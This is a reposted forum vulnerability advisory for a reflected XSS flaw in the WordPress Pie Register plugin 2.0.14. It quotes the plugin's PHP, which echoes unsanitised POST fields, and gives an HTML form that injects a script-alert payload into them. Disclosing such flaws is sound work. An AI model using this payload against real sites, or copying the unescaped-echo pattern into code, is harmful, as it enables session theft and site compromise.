Aerosol Posted March 11, 2015 Report Posted March 11, 2015 [+]Title: Wordpress Pie Register Plugin 2.0.14 - XSS Vulnerability[+]Author: TUNISIAN CYBER[+]Date: 09/03/2015[+]Type:WebApp[+]Risk:High[+]Affected Version:All[+]Overview:Pie Register 2.x suffers, from an XSS vulnerability.[+]Proof Of Concept:[PHP]global $piereg_dir_path;include_once( PIEREG_DIR_NAME."/classes/invitation_code_pagination.php");if(isset($_POST['notice']) && $_POST['notice'] ){ echo '<div id="message" class="updated fade"><p><strong>' . $_POST['notice'] . '.</strong></p></div>';}elseif(isset($_POST['error']) && $_POST['error'] ){ echo '<div id="error" class="error fade"><p><strong>' . $_POST['error'] . '.</strong></p></div>';}[PHP]Exploit Code:[HTML]<head><meta http-equiv="Content-Language" content="fr"></head><form action="http://ste/wp-content/plugins/pie-register/menus/PieRegInvitationCodes.php" method="POST"><body bgcolor="#000000"> <p align="center"> <input type="text" name="notice" value='"><script>alert(/XSSeD/)</script>' <input type="submit" value="XSS"></p> <p align="center"> <font color="#FFFFFF" face="Adobe Gothic Std B">Wordpress Pie Register Plugin 2.0.14 - XSS Vulnerability</font></p>[HTML]http://i.imgur.com/L5KXmKI.pngSource Quote